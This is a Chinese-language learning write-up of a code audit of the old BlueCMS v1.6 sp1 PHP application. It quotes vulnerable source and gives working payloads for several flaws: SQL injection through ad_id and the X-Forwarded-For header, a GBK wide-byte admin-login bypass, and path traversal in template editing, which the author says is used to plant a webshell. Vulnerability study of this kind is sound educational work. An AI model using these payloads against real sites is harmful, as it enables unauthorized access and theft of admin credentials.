前言 一些想做一些代码审计的内容,之前只有做过简单的PHP代码段的审计,没有尝试过整站的代码审计的工作。所以一切重新开始,从最简单的开始。找一些比较老和简单的CMS进行代码审计的训练,熟悉流程,熟悉用PHP调试的方法跟进。
Bluecms_v1.6_sp1 SQL注入一 在/uploads/uc_client
路径下中可以看到
1 2 3 4 5 6 7 8 $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; if(empty($ad_id)) { echo 'Error!'; exit(); } $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
这里可以看到ad_id
传入一个ID值,判断该值是否为空。在代入自定义的函数getone()
查找函数getone()
到路径\uploads\include\mysql.class.php
1 2 3 4 5 function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
这里封装成了简单的SQL查询函数,函数的第二个参数指定数组类型,MYSQL_ASSOC
是关联数组。
PhpStorm
调试跟进,跟进到了\uploads\include\common.fun.php
这个一个公共函数的文件。
1 2 3 4 5 function table($table) { global $pre; return $pre .$table ; }
$pre
的一个全局变量,在uploads\data\config.php
定义的值为blue_
即安装文件时的表面前缀。
所以$table
函数返回的是一个表名blue_ad
。
进一步跟进就到了getone()
函数进行SQL语句的查询,再进入一个time_set
判断过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if($ad['time_set'] == 0) { $ad_content = $ad['content']; } else { if($ad['end_time'] < time()) { $ad_content = $ad['exp_content']; } else { $ad_content = $ad['content']; } }
再做个替换进行输出
1 2 3 4 $ad_content = str_replace('"', '\"',$ad_content); $ad_content = str_replace("\r", "\\r",$ad_content); $ad_content = str_replace("\n", "\\n",$ad_content); echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
传入Payload
利用PHPstorm
调试进行跟进测试。
$ad_id
直接代入$sql
进行SQL查询。
继续跟进返回查询结果,注入成功返回admin用户的username:password
SQL注入二 在\uploads\include\common.fun.php
文件中有getip()
函数,该函数是用来获取用户IP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { //获取客户端用代理服务器访问时的真实ip 地址 $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
getenv
函数用来获取一个环境变量的值。获取到的$ip
值没有进行任务校验。
全局搜索getip()
函数,\uploads\comment.php
文件有用到这个函数。而且还涉及到了SQL语言操作。
1 2 3 $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')"; $db->query($sql);
SQL注入就是要在已有的SQL查询语句上进行拼接,可以利用拼接的点就是".getip()."
这个点,首先要知道的是在SQL语句中的INSERT INTO
来插入内容是可以一次插入多条数据的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> insert into user (id,username,password) value ('1','a','a'),('2','b','b'); Query OK, 2 rows affected (0.00 sec) Records: 2 Duplicates: 0 Warnings: 0 mysql> select * from user; +----+----------+----------+ | Id | username | password | +----+----------+----------+ | 1 | a | a | | 2 | b | b | +----+----------+----------+ 2 rows in set (0.00 sec) mysql>
这样我们就可以先闭合前一条插入,然后利用第二条插入的数据进行SQL注入。Payload如下:
1 1','1'),('','1','1','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
可以利用phpstorm
调试看下代入的结果。
1 2 $sql = INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','1','1','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
从代入结果来看,用1','1'),
来闭合第一条添加的数据,并在后面拼接插入第二条数据。post_id, user_id
对于的是评论的ID值
和用户的ID值
。同时我们利用content
来保存我们注入得到的数据内容,并显示出来。
发送请求包,对X-Forwarded-For
插入Payload
。
并得到返回结果
getip()
函数也在\uploads\guest_book.php
中利用到。
1 2 3 $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"; $db->query($sql);
这里是用$online_ip
来得到getip()
函数的返回值。
同样的方法我们可以对这个点进行SQL注入。这里直接拼接前面的就行。Payload
如下:
1 1',(select concat(admin_name,':',pwd) from blue_admin))#
拼接后的SQL查询语句如下,#
注释后面多余的字符。
1 2 3 $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '1',(select concat(admin_name,':',pwd) from blue_admin))#', '$content')"; $db->query($sql);
burpsuite
发送请求包
成功注入得到数据内容。
SQL注入三(宽字节注入) 在配置文件\uploads\data\config.php
中设置了cms的默认字符集为gb2312
为宽字节字节
1 define('BLUE_CHARSET','gb2312');
同时在\uploads\include\common.inc.php
对各种参数进行了转义处理。
1 2 3 4 5 6 7 if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
在\include\mysql.class.php
中也有MySQL
的默认字节为GBK
为宽字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){ $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect'; if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){ $this->dbshow('Can not connect to Mysql!'); } else { if($this->dbversion() > '4.1'){ mysql_query( "SET NAMES gbk"); if($this->dbversion() > '5.0.1'){ mysql_query("SET sql_mode = ''",$this->linkid); } } } if($dbname){ if(mysql_select_db($dbname, $this->linkid)===false){ $this->dbshow("Can't select MySQL database($dbname)!"); } } }
根据宽字节注入的原理:CMS中编码为GB2312
,函数执行添加的是ASCII编码
,MYSQL默认字符集是GBK
。
%DF'
会被PHP当中的addslashes函数转义为%DF\'
,“\”既URL里的%5C
,那么也就是说,%DF'
会被转成%DF%5C%27
网站的字符集是gb2312
,MYSQL使用的编码是GBK
,就会认为%DF%5C%27
是一个宽字符。也就是縗'
。这样就可以得到单引号进行注入了。
分析代码,在\uploads\admin\login.php
文件中。登录处有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 if(check_admin($admin_name, $admin_pwd)){ update_admin_info($admin_name); if($remember == 1){ setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400); setcookie('Blue[admin_name]', $admin_name, time()+86400); setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400); } }else{ showmsg('您输入的用户名和密码有误'); } showmsg('欢迎您 '.$admin_name.' 回来,现在将转向管理中心...', 'index.php'); }
跟进函数check_admin()
,到文件\uploads\admin\include\common.fun.php
1 2 3 4 5 6 7 8 9 10 11 12 13 function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
这里是可以利用万能密码进行绕过的,但是会对单引号进行转义。这个时候就能利用宽字节注入进行单引号的逃逸了。构造如下Payload
:
1 admin_name=admin%df' or 1=1#&admin_pwd=1
代入SQL语句拼接结果如下:
1 $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='admin%df' or 1=1#' and pwd = md5('1')");
语句返回为true
。绕过登录认证成功登录admin
账号。
利用PHPstorm
断点调试跟进。
进行正常的登录,PHPstorm
进行调试。
进入跟进到mysql类文件里
绕过判断check_admin
函数。
成功登录。
本地文件包含 在目录\uploads\admin\tpl_manage.php
文件中有可以进行模板文件编辑的功能。
打开目标模板文件代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 elseif($act == 'edit'){ $file = $_GET['tpl_name']; if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){ showmsg('打开目标模板文件失败'); } $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file)); $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312); fclose($handle); $tpl['name'] = $file; template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl)); $smarty->display('tpl_info.htm'); }
$file = $_GET['tpl_name'];
以GET
方式获取文件名,这里没有对文件名进行任何处理,直接代入fopen
函数拼接打开文件。这里可以利用../../../uploads/ad_js.php
包含到本地的文件。
同时在这段读取的代码下面是有一段可以编辑的代码的。编辑的代码也没有做处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 elseif($act == 'do_edit'){ $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : ''; $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : ''; if(empty($tpl_name)){ return false; } $tpl = BLUE_ROOT.'templates/default/'.$tpl_name; if(!$handle = @fopen($tpl, 'wb')){ showmsg("打开目标模版文件 $tpl 失败"); } if(fwrite($handle, $tpl_content) === false){ showmsg('写入目标 $tpl 失败'); } fclose($handle); showmsg('编辑模板成功', 'tpl_manage.php'); }
代码中的$_POST['tpl_content']
没有做处理,可以直接修改。
这样我们可以利用这个直接在/uploads/ad_js.php
插入一句话木马。
结语 这是第一次看一整套CMS的源码,之前接触到的都是CTF中常见的代码片段。整套的CMS的审计难度还是挺大的,特别是像那种MVC框架的,这套代码的结构还是相对于简单,漏洞也没有太多的过滤函数需要去进行ByPass
的。实习的暑假阶段也快结束了,这个暑假在实习公司这边学了不少关于应急响应和漏洞挖掘方面的东西,可能是因为比自己平时自学更具有实战性,可能性和未知性吧。接下来争取每周至少整理一篇代码审计方面的博客吧,一步一步的来,慢慢往上爬。